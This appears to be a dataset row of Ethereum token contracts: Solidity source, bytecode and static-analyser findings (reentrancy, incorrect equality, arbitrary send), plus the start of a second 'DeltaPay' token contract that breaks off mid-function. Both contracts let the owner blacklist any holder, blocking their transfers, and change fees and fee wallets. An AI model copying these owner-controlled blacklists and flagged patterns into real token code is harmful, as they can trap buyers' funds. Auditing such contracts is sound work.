_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 11, "not larger than init amount");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f8578063cf0848f71461040d578063cf9d4afa1461042d578063dd62ed3e1461044d578063e6ec64ec14610493578063f2fde38b146104b357600080fd5b8063715018a6146103295780638da5cb5b1461033e57806390d49b9d1461036657806395d89b4114610386578063a9059cbb146103b8578063b515566a146103d857600080fd5b806331c2d8471161010857806331c2d847146102425780633bbac57914610262578063437823ec1461029b578063476343ee146102bb5780635342acb4146102d057806370a082311461030957600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b857806318160ddd146101e857806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d3565b005b34801561017e57600080fd5b5060408051808201909152600b81526a432d313337204d6f72747960a81b60208201525b6040516101af91906118fd565b60405180910390f35b3480156101c457600080fd5b506101d86101d3366004611977565b61051f565b60405190151581526020016101af565b3480156101f457600080fd5b5068076d41c624948400005b6040519081526020016101af565b34801561021a57600080fd5b506101d86102293660046119a3565b610536565b34801561023a57600080fd5b506009610200565b34801561024e57600080fd5b5061017061025d3660046119fa565b61059f565b34801561026e57600080fd5b506101d861027d366004611abf565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a757600080fd5b506101706102b6366004611abf565b610635565b3480156102c757600080fd5b50610170610683565b3480156102dc57600080fd5b506101d86102eb366004611abf565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031557600080fd5b50610200610324366004611abf565b6106bd565b34801561033557600080fd5b506101706106df565b34801561034a57600080fd5b506000546040516001600160a01b0390911681526020016101af565b34801561037257600080fd5b50610170610381366004611abf565b610715565b34801561039257600080fd5b50604080518082019091526009815268433133374d4f52545960b81b60208201526101a2565b3480156103c457600080fd5b506101d86103d3366004611977565b61078f565b3480156103e457600080fd5b506101706103f33660046119fa565b61079c565b34801561040457600080fd5b506101706108b5565b34801561041957600080fd5b50610170610428366004611abf565b61096c565b34801561043957600080fd5b50610170610448366004611abf565b6109b7565b34801561045957600080fd5b50610200610468366004611adc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049f57600080fd5b506101706104ae366004611b15565b610c12565b3480156104bf57600080fd5b506101706104ce366004611abf565b610c92565b6000546001600160a01b031633146105065760405162461bcd60e51b81526004016104fd90611b2e565b60405180910390fd5b6000610511306106bd565b905061051c81610d2a565b50565b600061052c338484610ea4565b5060015b92915050565b6000610543848484610fc8565b610595843361059085604051806060016040528060288152602001611ca9602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113e4565b610ea4565b5060019392505050565b6000546001600160a01b031633146105c95760405162461bcd60e51b81526004016104fd90611b2e565b60005b8151811015610631576000600560008484815181106105ed576105ed611b63565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062981611b8f565b9150506105cc565b5050565b6000546001600160a01b0316331461065f5760405162461bcd60e51b81526004016104fd90611b2e565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610631573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105309061141e565b6000546001600160a01b031633146107095760405162461bcd60e51b81526004016104fd90611b2e565b61071360006114a2565b565b6000546001600160a01b0316331461073f5760405162461bcd60e51b81526004016104fd90611b2e565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052c338484610fc8565b6000546001600160a01b031633146107c65760405162461bcd60e51b81526004016104fd90611b2e565b60005b815181101561063157600c5482516001600160a01b03909116908390839081106107f5576107f5611b63565b60200260200101516001600160a01b0316141580156108465750600b5482516001600160a01b039091169083908390811061083257610832611b63565b60200260200101516001600160a01b031614155b156108a35760016005600084848151811061086357610863611b63565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ad81611b8f565b9150506107c9565b6000546001600160a01b031633146108df5760405162461bcd60e51b81526004016104fd90611b2e565b600c54600160a01b900460ff166109435760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fd565b600c805460ff60b81b1916600160b81b17905542600d819055610967906078611baa565b600e55565b6000546001600160a01b031633146109965760405162461bcd60e51b81526004016104fd90611b2e565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e15760405162461bcd60e51b81526004016104fd90611b2e565b600c54600160a01b900460ff1615610a495760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fd565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac49190611bc2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b359190611bc2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba69190611bc2565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3c5760405162461bcd60e51b81526004016104fd90611b2e565b600b811115610c8d5760405162461bcd60e51b815260206004820152601b60248201527f6e6f74206c6172676572207468616e20696e697420616d6f756e74000000000060448201526064016104fd565b600855565b6000546001600160a01b03163314610cbc5760405162461bcd60e51b81526004016104fd90611b2e565b6001600160a01b038116610d215760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fd565b61051c816114a2565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d7257610d72611b63565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610def9190611bc2565b81600181518110610e0257610e02611b63565b6001600160a01b039283166020918202929092010152600b54610e289130911684610ea4565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e61908590600090869030904290600401611bdf565b600060405180830381600087803b158015610e7b57600080fd5b505af1158015610e8f573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610f065760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610f675760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661102c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b03821661108e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b600081116110f05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fd565b6001600160a01b03831660009081526005602052604090205460ff16156111985760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fd565b6001600160a01b03831660009081526004602052604081205460ff161580156111da57506001600160a01b03831660009081526004602052604090205460ff16155b80156111f05750600c54600160a81b900460ff16155b80156112205750600c546001600160a01b03858116911614806112205750600c546001600160a01b038481169116145b156113d257600c54600160b81b900460ff1661127e5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fd565b50600c546001906001600160a01b0385811691161480156112ad5750600b546001600160a01b03848116911614155b80156112ba575042600e54115b156113025760006112ca846106bd565b90506112eb60646112e568076d41c6249484000060026114f2565b90611571565b6112f584836115b3565b111561130057600080fd5b505b600d54421415611330576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061133b306106bd565b600c54909150600160b01b900460ff161580156113665750600c546001600160a01b03868116911614155b156113d05780156113d057600c5461139a906064906112e590600f90611394906001600160a01b03166106bd565b906114f2565b8111156113c757600c546113c4906064906112e590600f90611394906001600160a01b03166106bd565b90505b6113d081610d2a565b505b6113de84848484611612565b50505050565b600081848411156114085760405162461bcd60e51b81526004016104fd91906118fd565b5060006114158486611c50565b95945050505050565b60006006548211156114855760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fd565b600061148f611715565b905061149b8382611571565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261150157506000610530565b600061150d8385611c67565b90508261151a8583611c86565b1461149b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fd565b600061149b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611738565b6000806115c08385611baa565b90508381101561149b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fd565b808061162057611620611766565b60008060008061162f87611782565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165c90856117c9565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461168b90846115b3565b6001600160a01b0389166000908152600160205260409020556116ad8161180b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116f291815260200190565b60405180910390a3505050508061170e5761170e600954600855565b5050505050565b6000806000611722611855565b90925090506117318282611571565b9250505090565b600081836117595760405162461bcd60e51b81526004016104fd91906118fd565b5060006114158486611c86565b60006008541161177557600080fd5b6008805460095560009055565b60008060008060008061179787600854611897565b9150915060006117a5611715565b90506000806117b58a85856118c4565b909b909a5094985092965092945050505050565b600061149b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113e4565b6000611815611715565b9050600061182383836114f2565b3060009081526001602052604090205490915061184090826115b3565b30600090815260016020526040902055505050565b600654600090819068076d41c624948400006118718282611571565b82101561188e5750506006549268076d41c6249484000092509050565b90939092509050565b600080806118aa60646112e587876114f2565b905060006118b886836117c9565b96919550909350505050565b600080806118d286856114f2565b905060006118e086866114f2565b905060006118ee83836117c9565b92989297509195505050505050565b600060208083528351808285015260005b8181101561192a5785810183015185820160400152820161190e565b8181111561193c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051c57600080fd5b803561197281611952565b919050565b6000806040838503121561198a57600080fd5b823561199581611952565b946020939093013593505050565b6000806000606084860312156119b857600080fd5b83356119c381611952565b925060208401356119d381611952565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a0d57600080fd5b823567ffffffffffffffff80821115611a2557600080fd5b818501915085601f830112611a3957600080fd5b813581811115611a4b57611a4b6119e4565b8060051b604051601f19603f83011681018181108582111715611a7057611a706119e4565b604052918252848201925083810185019188831115611a8e57600080fd5b938501935b82851015611ab357611aa485611967565b84529385019392850192611a93565b98975050505050505050565b600060208284031215611ad157600080fd5b813561149b81611952565b60008060408385031215611aef57600080fd5b8235611afa81611952565b91506020830135611b0a81611952565b809150509250929050565b600060208284031215611b2757600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ba357611ba3611b79565b5060010190565b60008219821115611bbd57611bbd611b79565b500190565b600060208284031215611bd457600080fd5b815161149b81611952565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c2f5784516001600160a01b031683529383019391830191600101611c0a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c6257611c62611b79565b500390565b6000816000190483118215151615611c8157611c81611b79565b500290565b600082611ca357634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c153bb814ca33b44ba64e81cc94505bccf48f162d7e85ff40b75f8bf0d6775d64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,136 |
0x5579e9908c4c36f419f7d0084131ac62150a9e71 | /**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
/*
/$$$$$$$ /$$ /$$ /$$$$$$$
| $$__ $$ | $$ | $$ | $$__ $$
| $$ \ $$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$| $$|_ $$_/ |____ $$| $$$$$$$/|____ $$| $$ | $$
| $$ | $$| $$$$$$$$| $$ | $$ /$$$$$$$| $$____/ /$$$$$$$| $$ | $$
| $$ | $$| $$_____/| $$ | $$ /$$ /$$__ $$| $$ /$$__ $$| $$ | $$
| $$$$$$$/| $$$$$$$| $$ | $$$$/| $$$$$$$| $$ | $$$$$$$| $$$$$$$
|_______/ \_______/|__/ \___/ \_______/|__/ \_______/ \____ $$
/$$ | $$
| $$$$$$/
\______/
Telegram:
https://t.me/deltapay
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DeltaPay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Delta Pay";
string private constant _symbol = "DeltaPay";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 7;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xf4Cdb03Fa34027152a72626d75f41758F98E6540);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 30 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e7 * 10**9;
uint256 public _maxWalletSize = 1e8 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e7 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0));
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 30 minutes) {
require(amount <= _minimumBuyAmount);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
